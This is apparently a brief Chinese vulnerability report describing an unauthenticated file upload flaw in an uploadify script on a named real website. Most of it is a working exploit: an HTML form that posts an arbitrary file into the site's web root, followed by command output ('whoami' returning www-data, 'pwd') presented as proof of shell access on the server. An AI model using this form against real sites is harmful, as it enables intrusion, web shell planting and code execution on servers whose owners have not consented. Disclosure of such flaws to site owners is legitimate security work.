漏洞利用：上传文件到网站DOCUMENT_ROOT目录下

<html>
<body>
<form action="http://widash.wiwide.com/uploadify/scripts/uploadify.php" method="post" enctype="multipart/form-data">
<input name="Filedata" type="file" />
<input name='folder' type='text' value="/">
<input name="sub" type="submit" value="upload" />
</form>
</body>
</html>

漏洞证明：

$whoami
www-data
$pwd
/home/wiwide/20141030/src/www
